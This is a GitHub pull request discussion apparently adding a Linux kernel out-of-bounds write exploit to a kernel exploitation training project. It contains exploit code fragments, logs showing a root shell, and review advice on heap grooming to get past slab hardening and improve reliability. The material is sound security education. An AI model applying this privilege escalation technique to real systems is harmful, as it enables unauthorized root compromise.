feature: out-of-bound write primitive and an exploit#16
feature: out-of-bound write primitive and an exploit#16d1sgr4c3 wants to merge 11 commits intoa13xp0p0v:masterfrom
Conversation
|
Hello @d1sgr4c3. Cool work! A quick idea: you can fix the modprobe path via your privileged script instead of memory corruption. In that case your modprobe path would be restored earlier (not after the privileged shell is finished). |
|
I ran a basic test, this PoC worked. |
ee1fdf9 to
51acfd7
Compare
|
sure, it is the way better previous commit i replaced with that one please check this out! |
|
Hello @d1sgr4c3, thanks for the improvement. I've added some minor style fixes (to minimize the difference to other PoCs). And please see my code review below. |
| int main(void) | ||
| { | ||
| int ret = EXIT_FAILURE; | ||
| char modprobe_path[KMOD_PATH_LEN] = { 0 }; |
| ret = EXIT_SUCCESS; | ||
|
|
||
| end: | ||
| if (pipe_ret >= 0) { |
There was a problem hiding this comment.
Checking pipe_ret is not needed if you initialize the pipe_fds array properly.
By the way, the uninitialized pipe_fds array elements may have any value.
There was a problem hiding this comment.
There is also a bug here. If pipe_ret < 0 no pipes would be closed.
Please check your error handling code in this PoC.
There was a problem hiding this comment.
Checking pipe_ret is not needed if you initialize the pipe_fds array properly.
checking pipe_ret is necessary because we have goto end before the pipe is opened. we can remove if (pipe_ret >= 0) {, but if the program closes before opening the pipes, we will try to close a non‑existent fd.
By the way, the uninitialized pipe_fds array elements may have any value.
please, can you add more details? if they are uninitialised, and code stops forked before pipes opened, i dont even touch them...
There is also a bug here. If pipe_ret < 0 no pipes would be closed.
"If pipe_ret < 0 " the pipe was not created, so there are no descriptors to close, according to manpage:
RETURN VALUE
On success, zero is returned. On error, -1 is returned, errno is set to indicate the error, and pipefd is left unchanged.
in the end, this check if (pipe_ret >= 0) { may looks weird, but thats ok.
please, can you add some context about other issues? it looks i didnt understood a bit
drill_oob_w_pipe_buffer.c
Outdated
| for (int d = 0; d < PIPES_N; d++) { | ||
| snprintf(err_act, sizeof(err_act), "3 %d 0x%lx 0x50", d, | ||
| VIRTUAL_TO_PAGE(MODPROBE_PTR)); | ||
| ret = write(act_fd, err_act, strlen(err_act) + 1); |
There was a problem hiding this comment.
Here you perform the memory corruption PIPES_N times.
Please try to allocate only one drill_item_t structure and corrupt it only once.
That would make your experiment much cleaner.
There was a problem hiding this comment.
please have a look:
- i am going into fisrt for and doing one corruption
- after one corruption i iterate
PIPES_Ntimes through the all pipes to find the corrupted pipe
Here you perform the memory corruption PIPES_N times.
actually, it happened about one-two times:
[ 29.590541] drill: kmalloc'ed item 415 (0xffff88810b218360, size 95)
[ 29.591124] drill: gonna work with item 416
[ 29.591374] drill: kmalloc'ed item 416 (0xffff88810b218420, size 95)
[ 29.591759] drill: gonna work with item 417
[ 29.592124] drill: kmalloc'ed item 417 (0xffff88810b2184e0, size 95)
[ 29.592450] drill: gonna work with item 418
[ 29.592652] drill: kmalloc'ed item 418 (0xffff88810b2185a0, size 95)
[ 29.593068] drill: gonna work with item 419
[ 29.593296] drill: kmalloc'ed item 419 (0xffff88810b218660, size 95)
[+] sprayed pipe_buffers in kmalloc-96
[*] trying to corrupt `pipe_buffer`...
[ 29.594157] drill: gonna work with item 0
[ 29.594364] drill: save val 0xffffea00000b5200 to item 0 (0xffff888107e465a0) at data off)
[ 29.594894] drill: item 0 dump:
[ 29.595057] drill: 0000000036387213: a5 a5 a5 a5 41 41 41 41 10 00 00 c0 ff ff ff ff
[ 29.595454] drill: 000000001a1b413b: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 29.595857] drill: 00000000b76d7253: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 29.596249] drill: 0000000006d628f3: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 29.596641] drill: 000000004a285b6d: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 29.597059] drill: 000000001c4ebe11: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[*] trying to leak modprobe_path...
[+] located "/sbin/modprobe" at offset 0x6e0 of pipe #12
[+] overwrote modprobe_path successfully: "/proc/348/fd/3"
[!] triggering modprobe using AF_ALG socket to launch the root shell...
/bin/sh: 0: can't access tty; job control turned off
# [ 29.599888] audit: type=1400 audit(1770223049.366:8): avc: denied { add_name } for p1
[ 29.600839] audit: type=1400 audit(1770223049.366:9): avc: denied { create } for pid=31
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0
#
[!] root shell is finished
[+] the end!
the string [*] trying to corrupt pipe_buffer... is appeared once
There was a problem hiding this comment.
Please try to allocate only one drill_item_t structure and corrupt it only once.
i implemented this in 191f6db
now, there is only one drill item created and i corrupt in only once. since there is some mitigations turned on, which i mentioned, the exploit may have 50/50 stablity. i also tested with defconfig without hardenings, the stability is 100%
here is the log (mitigations on):
user@host ~/kernel-hack-drill> ./drill_oob_w_pipe_buffer
[+] privesc script is prepared at /proc/348/fd/3
[+] drill_act is opened
[+] pinned to CPU #0
[+] opened pipes
[ 30.498309] drill: gonna work with item 0
[ 30.498987] drill: kmalloc'ed item 0 (0xffff888106b4a240, size 95)
[+] sprayed pipe_buffers in kmalloc-96
[*] trying to corrupt `pipe_buffer`...
[ 30.502944] drill: gonna work with item 0
[ 30.503560] drill: save val 0xffffea00000b5200 to item 0 (0xffff888106b4a240) at data offset 80 (0xffff888106b4a2a0)
[ 30.505085] drill: item 0 dump:
[ 30.505583] drill: 000000009b22a520: a5 a5 a5 a5 41 41 41 41 10 00 00 c0 ff ff ff ff
[ 30.506732] drill: 0000000083d3fd8e: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 30.507873] drill: 0000000092bf5c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 30.508996] drill: 00000000b9a307e3: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 30.510122] drill: 00000000ebf66822: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 30.511273] drill: 00000000c0bae4dc: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[*] trying to leak modprobe_path...
[-] unable to leak modprobe_path
[+] the end!
user@host ~/kernel-hack-drill> ./drill_oob_w_pipe_buffer
[+] privesc script is prepared at /proc/361/fd/3
[+] drill_act is opened
[+] pinned to CPU #0
[+] opened pipes
[ 35.558472] drill: gonna work with item 0
[ 35.559108] drill: kmalloc'ed item 0 (0xffff88810b33d840, size 95)
[+] sprayed pipe_buffers in kmalloc-96
[*] trying to corrupt `pipe_buffer`...
[ 35.563196] drill: gonna work with item 0
[ 35.563833] drill: save val 0xffffea00000b5200 to item 0 (0xffff88810b33d840) at data offset 80 (0xffff88810b33d8a0)
[ 35.565402] drill: item 0 dump:
[ 35.565902] drill: 0000000016989492: a5 a5 a5 a5 41 41 41 41 10 00 00 c0 ff ff ff ff
[ 35.567068] drill: 00000000cf69d622: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 35.568172] drill: 0000000046f42d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 35.569320] drill: 00000000692511ee: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 35.570469] drill: 00000000f5419888: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 35.571684] drill: 00000000ec47e504: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[*] trying to leak modprobe_path...
[+] located "/sbin/modprobe" at offset 0x6e0 of pipe #20
[+] overwrote modprobe_path successfully: "/proc/361/fd/3"
[!] triggering modprobe using AF_ALG socket to launch the root shell...
[ 35.577974] audit: type=1400 audit(1771201922.690:8): avc: denied { add_name } for pid=362 comm="3" name="5" scontext=system_u:system_r:kernel_t:s1
/bin/sh: 0: can't access tty; job control turned off[ 35.582418] audit: type=1400 audit(1771201922.690:9): avc: denied { create } for pid=362 comm=1
# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0
# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0
#
[!] root shell is finished
[+] the end!
user@host ~/kernel-hack-drill>
There was a problem hiding this comment.
@a13xp0p0v, is that okay? corruption is only once.
if you want, i can implement a for-loop here. we can make attack repeatable, but with one drill allocation and oobw corruption per attack cycle
There was a problem hiding this comment.
@d1sgr4c3, there is an idea that would make your PoC more stable:
allocate objs_per_slab * cpu_partial objects in the beginning.
That would fill all the gaps in slabs in the partial list of the slab cache.
In that case you would decrease the chances of corrupting some other object (not pipe_buffer).
| perror("[-] fcntl"); | ||
| goto end; | ||
| } | ||
| if (write(pipe_fds[i][1], pipe_data, sizeof(pipe_data)) < 0) { |
There was a problem hiding this comment.
Do you really need to write to the pipes here, during the allocation loop?
Maybe doing that later would be less noisy?
There was a problem hiding this comment.
i tried to move writing into the same bif for loop when we reads form pipe, put by some reason it make attack impossible :(
Do you really need to write to the pipes here
so, it seems like answer is "yes"
drill_oob_w_pipe_buffer.c
Outdated
| } | ||
| for (int j = 0; j <= (sizeof(pipe_data) - sizeof(modprobe_path)); j += 8) { | ||
| /* clang-format off */ | ||
| if (memcmp(pipe_data + j, modprobe_path, sizeof(modprobe_path)) == 0) { |
There was a problem hiding this comment.
Too many nested blocks here.
Please try using functions to simplify the code and avoid disabling clang-format.
README.md
Outdated
| | __drill_uaf_w_pipe_buffer.c__ | a basic a UAF exploit that writes into a freed `drill_item_t`; it performs a cross-cache attack and overwrites `pipe_buffer.flags` to implement the Dirty Pipe technique and gain LPE | | ||
| | __drill_uaf_w_pte.c__ | a basic UAF exploit that writes to a freed `drill_item_t`; it performs a cross-allocator attack and overwrites a page table entry (PTE) to implement the Dirty Pagetable technique and gain LPE on `x86_64` | | ||
| | __drill_uaf_w_pud.c__ | an improved version of `drill_uaf_w_pte.c` that overwrites an entry in Page Directory Pointer Table (PDPT), which is called Page Upper Directory (PUD) in the Linux kernel; that allows to implement the Dirty Pagetable attack via huge pages | | ||
| | __drill_oob_w_pipe_buffer.c__ | basic OOBW exploit performs out-of-bounds write to overwrite `pipe_buffer`->page pointer with arbitrary value, allowing the attacker to perform LPE via overwriting `modprobe_path`. | |
There was a problem hiding this comment.
Let's improve wording. How about something like this?
a basic OOBW exploit that corrupts the `pipe_buffer.page` pointer to perform AARW of kernel memory via a pipe and gain LPE.
There was a problem hiding this comment.
looks great! but "exploit corrupts and gains"
edited suggested sentence with gain => gains 4977a7f
20df73b to
18934a2
Compare
| } | ||
|
|
||
| ret = get_modprobe_path(modprobe_path, sizeof(modprobe_path)); | ||
| if (ret == EXIT_FAILURE || strcmp(modprobe_path, privesc_script_path) != 0) { |
There was a problem hiding this comment.
in 95df15a i decided to check that overwriting is succeed, because i discovered a false-positive results
| #define SLAB_TO_FILL 10 | ||
| #define OBJS_PER_SLAB 42 | ||
| #define PIPES_N OBJS_PER_SLAB * SLAB_TO_FILL | ||
| #define PIPE_CAPACITY PAGE_SIZE * PB_PER_SLAB_SLOT |
There was a problem hiding this comment.
suddenly saw a bad style here
improved in 996e31d
|
@a13xp0p0v, it seems like i covered all threads. also added new ones, rebased on top of fresh master please, have a look ! |
hello, @a13xp0p0v !
please have a look at these changes:
drill_testupdated as well to prevent heap corruptionalso POC can bypass this mitigations:
CONFIG_SLAB_MERGE_DEFAULT=nCONFIG_SLAB_FREELIST_RANDOM=yCONFIG_SLAB_FREELIST_HARDENED=yCONFIG_SLAB_BUCKETS=y